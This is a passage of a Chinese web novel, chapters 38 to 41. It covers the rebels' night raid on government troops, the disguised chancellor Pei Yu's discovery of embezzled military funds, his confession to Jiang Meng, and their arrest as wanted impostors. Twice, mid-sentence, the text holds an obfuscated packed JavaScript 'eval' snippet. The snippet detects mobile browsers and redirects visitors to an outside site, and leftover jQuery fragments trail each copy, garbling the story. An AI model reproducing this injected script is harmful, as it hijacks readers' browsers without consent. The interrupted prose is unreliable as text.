第二日,他又到赵燕红阵前挑衅,这次对方就似个缩头乌龟一般,任他如何辱骂都闭门不出,显然是被打怕了。杨先锋耀武扬威一番,又回了营。 这下他更加志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268380|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得意满,当晚酒足饭饱,倒头就睡,养精蓄锐只待明日行动。 睡梦中还在想:看来很快,他就能得胜班师了。 本来是这样想的。 他睡到一半,忽然被吵醒,只觉得外头乱糟糟的,顿时心道不好。匆匆忙忙下床穿衣裳,提着裤腰往外看,就见账外火光冲天,吵吵嚷嚷的,亲兵冲进来,说不好了,那贼妇人来偷袭了! 杨先锋一懵,手一松,裤子又掉地上了。 他这才反应过来那小官原来是诈降!为的就是让他放松警惕,夜里不做防备,好让义军发动偷袭。杨先锋在心中大骂那小官狡猾,又暗自后悔自己不该轻敌中计。 但事已至此后悔也没用,他只好赶紧披挂上马。 等好不容易穿好衣裳,头盔歪歪斜斜的戴上,拿起银枪跨上马,营寨里已经乱成一锅热粥了。而他听到一声怒吼,往右一看,是朝他极速奔来的赵英。 手下败将,他心里冷哼一声,稍微定了定心,举枪迎战。 谁知此人的气势却和白天完全不同,大刀势大力沉,只一合,就将他银枪差点挑落在地。 杨先锋大惊,忍着发麻的虎口,连忙拍马回身逃跑。谁知没走两步,左方赵勇又大吼着杀来,这下杨先锋有些慌了,勉强支撑两下,竟也不敌,只好又逃。 一往前,就见一将横空出世,直杀到他跟前。杨先锋吓得连忙勒住马停住,就见月下那大将身材魁梧、杀气腾腾,手中一柄方天戟,直取他首级而来。 正是那贼妇人。 杨先锋已被前两遭揍得斗志全无,现下只勉强交手两回合,便落败想跑。扭头一看,后头有赵英赵勇,前头又有个杀神一般的赵燕红,当即被吓得魂飞魄散,一心只想着活命,于是什么官军脸面、剿匪重任……统统抛到爪洼国去。 下意识的,竟然调转马头。 跑了。 落荒而逃。 主将逃跑,官军顿时乱成了一锅粥,什么军纪严明、训练有素,统统让狗吃了,一万人乱哄哄的四处逃跑,即便有那列队长吹喇叭挥旗子指挥,也没有人听他们的,只顾着没头苍蝇一般乱转。 沿路甚至全是刀、枪,这些兵士甚至把上阵杀敌的家伙什都丢了。 既没有纪律、也没有战意,比杂牌军还不如。 义军对付他们,势如破竹。 战局被山上的人尽收眼底。 裴预站在山顶,借着千里镜将杨先锋的逃窜、官军的溃不成军,看的一清二楚。因此在别人欢欣鼓舞之际,只有他一个人气的一佛出世二佛升天。此前对官军的自信、夸下的海口,这时都像一记记响亮的耳光,狠狠抽在他自己脸上。 还让赵燕红投降……免得下场太凄凉…… 下场凄凉的另有其人吧。 裴预脸色青一阵白一阵红一阵,精彩极了。 而在他尴尬之时,身旁观战的其他人可是高兴坏了,江蒙挨个和赵小鹅他们拥抱欢呼,闹了一圈儿回来,见他跟个木桩似的不动,还一胳膊肘捣了下他:“笑啊!” 裴预转向她,露出个咬牙切齿的微笑。 38. 第38劫 替身 经过一夜单方面的激战,义军大获全胜,将杨先锋麾下一万人马杀的片甲不留。军营中粮草、马匹统统缴获,还带回了几百多人。 俘虏们被绑着手,被义军挨个押进军寨,在赵燕红等人面前站成一排。个个缩肩弓背,鹌鹑似的,等着首领发话处置他们。 熟料赵燕红还没开口,裴预先走了上去。 他有话要问。 他实在太过生气,一张玉面绷得死紧,经年累月身处高位的人不怒自威,纵然还没开口,威势已经压得俘虏们头都不敢抬。 几人悄么对视一眼:面前这人虽然灰头土脸全身衣裳上还破了几个洞……但是好有气势啊。 感觉官好大啊! 这一定就是义军首领吧。 裴预铁青着脸打量了眼前一排俘虏,沉声道:“年初配发的盔甲,为何不戴?” 因着要远征,皇上下令全军配发新式盔甲及兵器,以提升将士战力。新盔甲在下摆增长,做成弯刀形,能更好保护腰下。 可现在这些官兵身上穿的,分明还是用了许久的老盔甲,不仅形制落后,而且破旧,根本防御不了刀枪。 他这话问的大家一愣,心说这义军首领怎么问这个,难道不应该问他们想不想死,不想死就投降乖乖为他卖命之类,然后他们就要立刻痛骂朝廷说这都是狗官们逼的,其实大家都是兄弟然后喜闻乐见地投入义军麾下。 但他既然问了,那就回答吧。一个大头兵老实道:“报告首领,年初没发盔甲啊。” 身上这幅用了好几年了,虽然破是破了点儿,可关键时刻确实也不顶用啊。 没发。 这下轮到裴预一愣。 年初拨了兵部几百万两银子,几十万斤生铁。真金白银花出去了,全军配上新装备的折子呈上来了,歌功颂德的颂诗给皇上脸都笑歪了。 结果告诉他没发? “刀枪呢?”他又问。这些兵手里的长枪,一看枪头都钝成圆的了。 “啥刀枪?” 也不知道是谁问谁。裴预脸色更差,暂且将这些事抛到一边,训斥道:“看你们方才落荒而逃的样子,军纪散漫、毫无战意,这样对得起朝廷发给你们的军饷么?!” “还有军饷?!” “什么都没有是吧?!”裴预终于忍无可忍,“盔甲没有,兵器没有,军饷也没有?” 那有什么? 花的那么多钱呢? 见他气成这样,俘虏里有个军衔高一点儿的冷哼一声,他和这帮什么底层的大头兵不一样,还是略知道些内幕,当下冷嘲道:“首领不必这么羞辱人,谁不知道朝廷拨的那些个钱都进了大人们的口袋,我们怎么见得着?” 其实不必他说,裴预又怎么会不知道,将军们贪污军饷,这是人尽皆知的事情,总归不能管得太紧,否则谁愿意去打仗?睁一只眼闭一只眼罢了。 他只是没料到这帮人竟如此大胆,连指缝里都不舍得漏出一点儿给下头。 事儿办成,塞一点儿进口袋没什么。 可现在事儿也没办成。 “不是,你干啥呢?”这时赵英上来拉住他,“你搁这阅兵呢?” 他把裴预推到一边,然后对着俘虏们大吼:“你们想不想死?!” 终于回归了正常流程,俘虏们激动地开始大骂朝廷、痛斥狗官。 裴预被江蒙拉到一旁,她其实稍微能理解他的心情,毕竟身为太子么,看到自家的兵都这个鸟样儿,能高兴就怪了,于是同情地拍了拍他肩膀。 裴预看着她同情的眼神,心里更堵了。 民脂民膏,得来何其不易,没成为将士的甲衣,却进了大饕的腹中。 而这一切,他难辞其咎。 当晚赵家军摆上庆功宴,狠狠庆祝了一番,军营里的庆祝仪式格外粗犷,没有宴会,没有颂诗,只有酒、肉、篝火和耍大刀。 最后一项是江蒙倾情提供的才艺表演。 火光里刀光绚烂,舞刀的人身姿矫健,笑颜欢畅,明亮的让人移不开眼睛。所有人都在兴奋地叫好,大家举起酒碗痛饮,整个大寨里充满快乐的气氛。 唯一不高兴的人,可能就是裴预了。 他坐在稍远的地方,远离篝火,背后就是一片黑暗。不多时有人来了,没说话,在他身旁坐下。 两人都看向篝火旁的身影。 “赵首领怎么不去庆祝。”裴预淡淡地说。 赵燕红答非所问:“你应该谢谢她。” 如果不是江蒙,她当然不可能这么轻易地放他走,那天在寨子外,赵小鹅也不可能会放下门。 “我也应该谢谢她。”赵燕红又道,“如果不是碰到过这样的人,我不会选择当这个首领。” 她爹是武教头,酷爱兵书,她幼时也读过几卷,点豆作兵,排兵布阵,玩得不亦乐乎。后来嫁了人,便一心劳作,相夫教子,丈夫去世,她更是把一腔心血全部用作照顾女儿,什么沙场点兵,早都连梦里都不会出现了。 直到救完女儿回来,得知“连坐”的消息。 那一刻真是鬼使神差,那个无极教祭坛上,从八卦炉里跳出来的身姿,突然又出现在她脑海,鲜明的如同就在眼前。她闭了闭眼,再睁开,眼前是同乡一张张绝望麻木的脸。 愤怒逐渐盈满她的胸膛,她似乎又听见金戈铁马之声。 “不能,等死。”她听见自己冷硬的声音,“反了!” 不止是为了她自己,也是为了其他人。 一步一步走到现在,她终于能说,她带领大家闯出了一条生路。 听到这里,裴预扭头,略带忧心地望向她。 “容我不合时宜,赵首领,”他真诚道,“我不认为这是一条可以走到头的活路。” 尽管这一场赵燕红大获全胜,尽管官军看起来都是草包,但是她仍然低估了朝廷的军事机器。赵家军不可能一直停留在这个规模,以后来剿灭他们的官军会越来越多,也会越来越精良,他们别无选择,要么消亡,要么不断壮大。 而越壮大,就越吸引眼球,敌人也就越多。等成为国家的威胁,被朝廷当做眼中钉之时,就是他们走上穷途末路之日。 历朝历代造反者无数,成功者也很多,但是裴预可以说,现在这个时候,这支队伍,从他们举旗的那一刻起,就踏上了不归路。 其实这个道理,赵燕红未必不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368740|135820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她不可能会照裴预说的那样做。 “我们和她,”赵燕红遥遥指向江蒙,“不一样。” 她转向裴预:“你,你们这种人,她信,我们不可能信。” 这寨子里的兄弟姐妹,从她,到下面每一个人,对于他这样的大人物早已彻底绝望。瘟疫肆虐时他们在哪儿?邪.教害人时他们在哪儿?一家子五个青壮年四个被徭役累死时他们又在哪儿? 他们在紧闭官仓见死不救,他们在和邪.教头子称兄道弟,他们在说不还剩一个没死吗?快征来继续做苦工。 这就是大人物。 站的太高了,低头往下一看,人都小的跟蚂蚁没区别了。 蚂蚁的命,怎么算命呢? 那她们只好聚成团,蚂蚁足够多了,千里大堤也能损毁。 何况这帮“大人物”? 真龙天子难道就不是肉体凡胎?! 所以她们绝不可能和这些大人物做交易,接受招安。 至于前途如何。 “你应该,能懂的。”赵燕红淡淡道,“那时她从炉子里跳出来,也没想过前途怎么样。” 庆功宴过去,第二日,江蒙向赵燕红她们作别。赵家军刚缴获这么多东西,物资充足,于是赵大姐大手一挥,竟给了他俩一匹马,用来赶路。江蒙千恩万谢,带上裴预,下山而去。 再次踏上大寨外头的路,裴预比上一次更加沉默。 地上还残留着两军交战的痕迹,时不时散落几根断裂的箭矢,天色阴沉,两人一马,朝着不远的下一个城镇前进。 * “这是谁?” “好像是咱们大人啊。”黑衣侍卫恭恭敬敬回答道。 “是吗?”柳烟提高声调,摸着下巴,“我觉得不像啊。” “是,咱们大人比这风华绝代多了。” “是吧,”柳烟赞同道,“公子的眼睛比这大。” “是。” “这法令纹也太深了,咱们公子哪儿有这么显老?”柳烟指指点点。 “是。” “那你说,”柳烟扭过脸,“别人看到这画像,能跟咱公子对上吗?” “那还是一认一个准吧。” “……”柳烟回过头,“爷爷的!” 她一把将那通缉令从墙上扯下来。然而新贴的纸,浆糊贼牢,只被她撕下一个角来,裴预的画像还在上头分毫未损,栩栩如生,脑袋顶上一个“悬”。 并排的是江蒙的画像,惟妙惟肖。 画像下方写着:“……冒充朝廷高官,招摇撞骗,现悬赏三百两……” “给我撕下来!”柳烟下令。 几个威猛大汉瞬间上去与浆糊搏斗,柳烟走下台阶,问手下:“这通缉令还发了哪些地方?” “周边所有城镇都贴了。” “……” 韩一成也不是傻子,知道裴预还活着,怎么可能由着他暗中行动。这一招指真作假,真是妙绝,相当于再一次抹杀了裴预。 只能祈祷他们先一步找到公子。 “以防万一,派人去各地大牢里蹲点吧。”柳烟无力道。说不定能守株待兔呢。 39. 第39劫 坦白 江蒙两眼发直。 无他,背后的人太能啰嗦了,出了大寨以后,她发觉他心情低落,于是好心地问他怎么了。谁知这一下就打开了对方的话匣子,从山下到现在,都快能看到前头城门了,整整三十多里地,那小嘴儿七哩八哩就没停过。 就是忏悔,疯狂忏悔。 什么官军羸弱不堪,什么吏治腐败,都是他的错,都是他没管好。是他太自大,太自以为是,太自我感觉良好了。 看给他愧疚的,都开始说废话了,那后头仨词儿虽然字数逐级增加两个,不还是一个意思么。 江蒙叹口气。 首先,官军弱不是他的错,相反是他的功德,江蒙还想谢谢他。毕竟官军要是强,他俩连带着赵大姐,估计都在下头喝上热乎汤了。 其次,荔枝腐败。荔枝她知道啊,一种水果,他们皇亲国戚才能吃得起的水果。腐败了么,也没办法,这天儿也到五月了,挺热的,那水果确实不能放。坏了就坏了呗,不吃了不就行了,没必要这么挂在心上。 最后,要不是他刚救了她命,她绝对一嘴巴让他安静安静。 她现在也想忏悔,当初为什么要那么好心,问他为莫子不高兴? 这是在对她自己的耳朵犯罪。 所以当看到城门时,江蒙就像看到了救星,赶紧打断他,先进城再说。 主要是他们身上还有个小任务,这里的守兵也有一个是白河乡人,他爹娘都在瓦石山上,受赵大姐所托,她们要把他爹娘的信儿带给他,报个平安。 城门前几个守兵正挨个检查路引,江蒙和裴预下了马,排在入城的队伍中慢慢往里进。江蒙脑子里想着赵大姐的描述,七尺身高、长脸儿、长得黑…… “那个。”裴预指给她看。 江蒙心说他眼睛还真尖,一下子就找到了,仔细一看,果然不错。两人挤到他那边的队伍里,等到了跟前,江蒙把家书和路引叠在一块儿递过去。 “小五,”她低声道,“你爹娘给你的。” 那守兵听见自己的小名,一愣,听到爹娘的消息后顿时喜不自禁。他将家书赶紧揣进怀里,抬起头正要跟江蒙道谢,一看清她的脸,又愣住了。 “你……?!” 江蒙见他脸上从欣喜忽然转为惊悚,被他这反应弄得也有点儿懵,疑惑道:“我?” “……” 裴预也发觉异样,凑过来问怎么了。 两张脸挨在一起,守兵看着他俩,神色复杂。 这俩人的画像还贴在城墙上呢,他不会认错,就是那两个被官府通缉的骗子。正常情况下,他肯定直接把人扭送官府,但他们是赵大姐的人,还给他送了家书。 不行,他得帮她们。 “你们怎么就这样跑出来了?”他低声斥道,现在城里到处都贴着她们的通缉令,这俩人居然还敢光明正大地露着脸,这也是幸好碰上了他,不然还没进城就得被逮住。 江蒙和裴预完全不知道他在说什么,困惑地对视一眼。 什么叫就这样跑出来了?意思是他们不该出赵大姐的寨子? “不行,你们……” “喂!那边怎么了?” 守兵刚想要提醒两人,话还没说完,就被另一个声音打断。是他对面的那个兵发觉这两个人逗留太久,觉得不对劲儿,朝他们走过来了。 如果被他看到,这俩人就完了。 “没事儿!”那守兵连忙扭头喊了一声,但那人还在探头往这边看。他连忙转了个身,用背挡住别人的视线。 这下他不敢再多说一个字,生怕耽误时间,赶紧将路引还给江蒙,推着两人往里走。顺手扯下旁边两条擦汗的布巾,往他俩脸上一盖。 “挡好脸!”他低声提醒道。 目送一头雾水的两人进城后,他在心里叹了口气。 希望他们能听他的,把脸蒙好,不要露馅。 他又继续查验接下来进城的人,不多时,三个身着劲装的男人策马而来,领头的掏出令牌,守兵定睛一看,便连忙恭敬放行。 这三人来头不小。 那领头的继而从怀里掏出两张通缉令,问他们:“这两人可曾来过?” 守兵一看,登时一身冷汗,这不就是刚刚放走的两人么?看来这三人是来捉他们的,好险,幸好他们先进城了。 他连忙摇头,说没看见过。 其他人自然也是摇头。 那领头的便露出些失望的神色,但很快收敛好。三人撕下城墙上贴着的通缉令,便策马进城。 * 裴预皱起眉。 脸上的布巾一股馊了的男人汗味儿,盖在鼻子上,只觉得口鼻里都一阵刺痛。转头看向江蒙,她也是一样的眉头紧锁,看起来恨不得立马就摘了扔地上。 可是,那守兵给他们这布巾时神色异常凝重,嘱咐他们一定要挡好脸,这其中一定有原因。 “怕我们染上瘟疫?”江蒙的声音从布下嗡嗡的传来。 之前在涿郡,大家脸上都戴着块布巾。 裴预皱了下眉:“不大像。” 他们此时已经进了城,走在宽敞的街道上,周围都是来来往往的行人,没有一个脸上戴布巾,反倒他们是人群中的异类。 路人们纷纷透来异样的眼神,然后不约而同地,都离他俩远了一些。 ……感觉有病的是他们自己。 “要不摘了吧。”江蒙道,这味道太刺激了,她都有点受不住。 这座城并没有流传疫病,那守兵为何执意要让他们遮住脸呢? 裴预试图思考这背后的原因,可他心里还有另一件事儿,搅得他无法专心。 最后他也没想明白,但出于谨慎,他没有让江蒙摘下布巾。总归只是气味难闻了一些,他们格格不入了一些,也没有别的坏处,那守兵一定不会是在害他们,不如暂且听他的话。 将这个问题暂且搁置一边,裴预转而开始思考那件事。 不由自主地,他浑身紧张起来。 没错,他决心向江蒙坦白。 其实在以前,他从未想过要告诉江蒙实话,包括豆城分别那次,他完全不觉得有告诉她身份的必要。 当时的他满脑子考虑的都是,以他们的身份差距,日后必然不会再相见,就算江蒙把她碰见“太子”的事儿说出去,就算她机缘巧合之下发现了他的真实身份,可她没有证据,别人自然只会当她在吹牛说谎,没人会把她的话当真。 他冒 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她不行了。脸上这玩意儿太臭了,这到底擦了多少汗啊?擦脚的吧?她真的要被熏得晕过去了,实在没心情听裴预说话。 江蒙踉踉跄跄地走到路边,靠着告示栏坐下去,她实在是撑不下去,一把摘了脸上的布巾,贪婪地呼吸没有臭味的空气。 场面瞬间变得十分滑稽。因为她的脸,和上方告示栏上她的悬赏画像,一上一下并列了。 如果这时候有路人朝这边看上一眼,那么他甚至不用记忆人脸,直接就可以捉住通缉犯。毕竟犯人就坐在她自己的通缉令下面,没有任何伪装,相当一目了然。 甚至可以说有自首的嫌疑。 而两个通缉犯本人,一个因为惦记着坦白而心神不宁,一个又被臭的神志不清,竟然谁也没有注意到告示栏上的通缉令,一无所觉地停在这里休息。 今儿是五月初一,正好是夏集的日子,这里的瘟疫总算过去,大伙纷纷走出家门,甭管有钱没钱,也都来大集看看热闹。周边几个村子的人都进了城,因此大街上人来人往,尤其忙碌繁华。路两旁的店家出来招揽客人,小摊贩们吆喝着,江蒙看着这番景象,由衷地高兴道:“这儿真热闹!” 没有疫病,没有饥荒,也不打仗。 一个农人抱着自家娃朝告示栏这边走来,这边看看那边瞧瞧,脚下没注意,差点儿踩着裴预。他慌忙低下头想说对不住,却看见裴预脸上蒙着布巾,浑身一抖,连忙抱着孩子避开二里地去。 瘟疫才刚刚过去,这点儿警觉还是有的。 只是退开走出几步路之后,他才后知后觉地感觉:那人旁边那个女人,怎么看着有点儿眼熟? 于是他转过身,想再仔细地看一看那女人的脸。 就在这时,那个蒙着脸的却突然站了起来,走到那女人身前。他个子高大,顿时把她给挡的严严实实。农人只好伸长脖子,往旁边走,换个角度看。 裴预低头看着江蒙。 他下定决心:“我有事要告诉你。” 40. 第40劫 酒楼 太子很少这么严肃地跟她说话,看来是件大事,江蒙也正经起来,端坐道:“你说。” “这儿人多,说话不便,”裴预看了看四周,“我们找个清净地方。” 农人终于走到一边,从这个角度,可以看到那女人的脸。可还没等他看个明白,那人却又戴上了布巾,把脸给遮住了。她起身,要跟着那男人离开。 农人有些犹豫,抬脚想跟上去,最后却停住了。 谁知那两人是不是有病,他怀里还抱着娃呢,多一事不如少一事。 就在裴预和江蒙走后,前后脚的功夫,三个男人牵着马从人群中挤出来,来到告示栏,将那两张通缉令撕下来。 江蒙和裴预就近选了家酒楼,走了进去。 江蒙现在今非昔比,怀里有大把银子,而且吃的又是散伙饭,太子还有重要事情要说,所以她一点儿没抠门,找了个极为气派的酒楼。进去后,直接跟掌柜的要了个雅间,最好的席面。 小二引着他们去到二楼,进了临街雅间,门一关,江蒙迫不及待地能把脸上的东西摘下来。 仰头长长地舒了口气。 她一条腿曲起,搁在椅子上,有种解脱的感觉。太子坐在她对面,和她粗鲁的坐姿不同,他身姿端正,挺拔如青松。 若是放在刚认识那会儿,他一定要大惊小怪,指责她坐没坐相了吧。 江蒙忍不住笑了,把腿放下来。这些天过去,他们都改变了不少。 一个多月前,她拿刀对准他脖子的时候,又怎么会想到有一天,她和他会好好坐在一张桌子上吃饭,他们会成为朋友,要分别了,她心里还会有些不舍呢。 饭菜还没上来,她先以茶代酒,和他碰杯,然后准备好听他说那件重要的事。 她看见他脸色变了。 “要不……”他犹豫道,“还是等吃完饭再说。” 他说话的声音都透着一股紧绷,她还从来没见过他这样,感觉瓷杯都要被他攥碎了。到底是什么事情让他这般紧张? “不行,就现在。”她道。他不这样还好,现在她好奇心被彻底吊起来,不听到真相怕是连饭都吃不好。 在她逼问下,他纠结片刻,终于启唇开口,可就在他要说话时,小二却开门进来: “客官,给您上菜!” 他端着个巨大的木托盘,热情道。 这两位客人可是有钱人,他可不能怠慢,厨房一出菜他就给端来了,虽然是别的桌先点的,但要紧着贵客嘛。他将菜布齐,满脸堆笑抬头:“客官……” 他顿住了。 这两人,好面熟啊。 先前戴着布巾没看见长什么模样,现在他们取下布巾,两张俊脸展露出来,男的一双桃花眼,唇红齿白,面若冠玉。女的眉睫浓黑,鼻梁高挺,肌肤如蜜。 按理说这么俊俏的两人,他见过一眼就不该忘才是,可现在是分明没见过,却又觉得诡异的面熟。 “客官先前来过小店?” 江蒙奇怪道:“没啊。” 她急着要听裴预的话,因此让小二哥上完菜就先离开,小二自然满口应承,把托盘夹在胳膊下出了雅间,轻手轻脚地将房门关好。 奇怪。 他一面下楼,一面百思不得其解。这二位客官明明没来过。 那他又是在哪里见过他们呢? 房间里,裴预在斟酌如何开口。 江蒙大马金刀坐在对面盯着他,一点眼神也没有分给桌上这些菜,大有他不坦白,她不吃饭的架势。裴预无奈,决定迂回的、循序渐进的,让她接受他的真实身份。 “我要跟你说的事,跟裴预,裴右相有关。” 江蒙脸色明显掉下来,神情是不加掩饰的厌恶,裴预从她脸上读出“提那鸟人作甚”几个字。 “其实……”裴预硬着头皮道,“那位裴右相,并非大家口中那样的奸佞残暴。” 他不敢说自己有多好,但起码并非那等狼心狗肺之徒。 他看见江蒙慢慢睁大了眼睛。 “太子,”她声音里透着股惊悚,“你也被他迷惑了么!” 民间关于这位裴右相的传说其实不少,除了他挥霍无度家财万贯之外,还说此人容貌绝色,见者无不为之倾心,哪怕京城最红的花魁见了他也要自愧不如。因此甚得皇上宠爱,才能年纪轻轻便身居高位。 在江蒙眼里,那就是个狐狸精一般的奸臣,皇帝老儿着了他的道就算了,眼前的太子可不能再走他老子的老路啊! “……什么?”裴预怀疑自己的耳朵。 他知道韩一成往民间散布了不少他的流言蜚语,以往他也只是一笑置之,但从没想过是这个方向的。 “就是说,他和皇上是内个。” 裴预:“……” 他整个人僵住。 “就是内个呀,”江蒙见他没反应,急的索性挑明了说,“就是断袖!” 话音未落,裴预那边一阵巨响,是他“蹭”地站起来时带翻了椅子,江蒙惊诧地抬头望向他,她还从未见他如此失态。 只见他嘴唇颤抖,欲言又止的样子,脸上五颜六色好不精彩。 江蒙还以为他是因为他爹为老不尊,于是安慰道:“你也别太伤心,你爹他是皇帝,皇帝断袖不是很正常……” 裴预差点没撅过去。 就在此时,门忽然被打开。 小二捧着个托盘,风风火火地走进来,见裴预的椅子翻了,一愣,连忙跑过来殷勤地扶好。这一打岔间,裴预勉强恢复理智,颓然坐下,拿手指揉着眉心平息情绪。 “菜不是上齐了么?”江蒙奇怪道。 “啊,”小二磕巴一下,挤出笑容道,“您二位点了这么多菜,我们掌柜的吩咐多送一壶酒。” 当然不是。 他在说谎,并没有送酒这种福利,只是他左思右想觉得这两位实在眼熟的诡异,所以扯了个借口,想多看他们几眼。他悄么盯着裴预和江蒙,绞尽脑汁地想这股熟悉感到底从何而来。 绝不是老客,先前这两位也否认过了,肯定也不是路上碰见的路人,路人不会这么印象深刻。 那到底是……? “我们不喝酒,谢谢掌柜的好意了,拿回去吧。”江蒙道。 “等等……”这时裴预虚弱地出声,“给我吧。” 他需要喝点儿。 小二忙端着酒壶送过去,裴预接过时,他近距离看着那张漂亮的脸,忽然福至心灵: 这不是官府悬赏的那个冒充大官的骗子么!< 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掌柜的恨铁不成钢骂了他一句,然后道:“这儿离告示栏不远,你去把那通缉令揭下来,拿来我看。” 到底是掌柜的脑筋转得快,小二激动地答应一声,跑到外头奔着告示栏就去。 等到那儿一看,他却彻底傻了眼: 早上还看见贴在上头的通缉令,现在,却没啦。 前前后后找了,都没有,只剩下没撕干净的几个角,证明不是他发癔症。小二只得空着手,垂头丧气地往回走。 他不知道,撕掉通缉令侍卫的主人,此时就坐在他们酒楼二楼雅间里,正自己给自己倒酒。 裴预将杯中酒一饮而尽。 这酒自然比不上右相府的醇厚甘美,十分辛辣,裴预觉得一股热流从腹中升起。他借着酒,终于心情不再那么苦闷,对江蒙道:“第一,这不正常。第二,他不是我爹。” 江蒙:? 她没反应过来。 裴预看她茫然的表情,苦笑一声,放弃了在她那里洗白自己的想法。再说下去,还不知道她会口出什么狂言,他得遭受多少精神暴击。 直接坦白吧。 “江蒙,”他直视着她:“我……我真的很看重你。” 江蒙:“……” 又来了。 和上次一样,他这双很漂亮的眼睛一眨不眨地盯着她,真让她心里有点发毛。比上次还过分的是,他突然来这么肉麻的一句,她鸡皮疙瘩都起来了。 她屁股微微离开凳子:“你,你好好说话。” 是,他俩要散伙了,该到说肉麻话的时候了,这辈子碰到你真好,我永远不会忘了你之类的……但她还没准备好啊! “你别打岔。”裴预神情严肃,“我很认真。” 他面上毫无表情,其实内心已经紧张到极点,毕竟他要告诉江蒙,他一直在骗她,他其实是她最厌恶的那个奸臣。 原谅他吧。要他做什么都行。 “我……”他深深吐出一口气,觉得金殿奏对都没现在紧张,盯着她的脸缓缓道:“我其实不是什么太子。” 他看见江蒙脸上的表情凝固了。 41. 第41劫 入狱 “对不住。”裴预缓慢地呼吸,肩膀紧绷到僵直,“当时我怕你杀我,所以我,骗了你。” 江蒙还是一副呆滞的神情,紧接着她忽然反应过来,脸“唰”的一下白了,上面是一种很深的恐惧:“那我村里人?!” 如果他不是太子,那他怎么下旨救她村里人?那她在外耽误的这些时间…… “你放心,”裴预赶紧在她快被吓死前安抚,“我虽不是太子,但你村里人我还是能救的。你的两个发小,王力,十九岁,王祥,二十二,已经从县牢放出,好好地回家了。你全村一百一十七户,已得了赈灾粮,免了今年赋税徭役。你们村那吴秀才还题了首颂诗。” 他准确叫出了二毛狗坨的大名,还有全村人口,可见不是信口胡编来搪塞她,后面背的那首诗,确实是老秀才的作风,这个是编不出来的。 江蒙这才定下心来。 “那你是?”她问。 “裴预。” 完全意料之外的答案来的太突然,江蒙懵了。 “……” “右相,裴预。” 终于彻底坦白。 裴预说完,只觉心里一阵松快,脊骨都松下来,略微靠着椅背。长久以来想做的事情终于做了,想说的话终于说了,他有种什么都无所谓了的感觉。如果这时候江蒙怒而拔刀,他大概率是躲不开的,事实上他也不是太想躲。 她生气是应该的,毕竟她如此信任他,他却始终欺骗她,明明知道她最恨骗子。 无论她发多大的火,他都认。 裴预甚至再次端起酒杯喝了一口,好似慷慨赴死前的淡然。 但随着时间一刻过去一刻,江蒙脸上的空白始终没有退却,裴预的放松感便渐渐淡化。取而代之的是一种担忧,并非对自己,而是对她。裴预脊背离开椅背,看着江蒙的神情,开始想她碰到这种事情该有多难受? 意识到自己被骗,骗她的还是她如此厌恶的人。一路上慢慢当做真心朋友的人,竟然是那个“奸臣”。 对于江蒙来说,该有多难以接受? 她这么久没说话,真让他有些害怕了。裴预微微皱眉,身体向前倾,想问她还好吗? 但是还没开口,门忽然一声巨响,有人破门而入! “你是个der!” 随着响亮的一声,一群人冲进来,手里拿着麻绳、木棒之类,江蒙还在愣着,裴预手无缚鸡之力,面对一堆凶神恶煞的大汉,简直是毫无还手之力,轻而易举地就被套上绳子绑了起来。 黑店?!裴预大惊,光天化日之下绑人,这闹市中的酒楼竟也可以是黑店吗? 他转向江蒙,试图和她交流,可她还是一副灵魂出走的模样,一点儿反应也没给他。 “什么黑店!”站在前头的掌柜斥道,“你个骗子,说话注意点嗷!” 店小二空手而归之后,经过短暂的沮丧,他又盘算了下,觉得不能就这么算了。一来他的店里招待过这种危险人物,保不齐会惹一身骚,二来么…… 那可是六百两银子! 于是他招来店小二,让他趴在裴预两人房间外面偷听,想着通过两人的对话,也好推测下他们身份。 谁能想到那骗子这么体谅人,都不用他们动脑子猜,直接摊牌了! “右相,裴预。” 这可是他亲口说的,这下可是实锤了,掌柜的连忙把店里伙计都叫来,冲进去逮人。 逮住了六百两银子,一群人都兴奋至极,闹哄哄的要把他俩送去见官。裴预从这些人的吵吵嚷嚷中,勉强分辨出“冒充”、“骗子”、“大官”等字样,稍一思索,便想通了这来龙去脉。 该死! 指鹿为马,弄真作假,这一定是韩一成的毒计。 此招其实容易破,只要他身边有人,韩一成就是把通缉令贴遍全国,也奈何不了他。他知道对方定然清楚这一点,不会白费这功夫,所以全然没有防备。 谁知姓韩的竟真这样安排了。 明明此前没有动作,偏就这般巧,在他与自己人失散之时,使出了这招。 除非韩一成知道他的情况,知道这招有用。 我的人里有内鬼。 短短几息,裴预心思已百转千回,得出了结论。他把心神收回来,现在要做的是脱困,也就是镇住这些人,让他们相信自己就是真正的右相,自然就不敢造次。 裴预清了清嗓子。 “你果然不是裴预那厮!” 江蒙率先喊出声。 她这时终于回魂,一副惊魂初定、松了口气的样子,说话嗓音里都透着股兴奋劲儿,听起来对这个“事实”颇感庆幸。 裴预:“……” 完了。 那掌柜的果然扭头:“你看!你同伙都招了!” 一伙人热热闹闹地往衙门走,一路上都有行人投来异样的眼光,那掌柜的逢人就乐呵呵地把事情说一遍,看着比他酒楼开张时还高兴。 对画像、付赏银、带镣铐、收监入狱,一气呵成。 二进宫。 和第一次进大牢相比,这次江蒙显得淡然的多,甚至还有心思跟他开玩笑:“原来你不是太子,是骗子。” 裴预无奈,纠正她:“不是骗子,是裴预。” “你怎么可能是那厮?”江蒙很不以为然,又对他道:“你不用这么害怕承认,就算你骗了我一路,可你人好,又救了我们全村人,我又怎么会生你的气?”

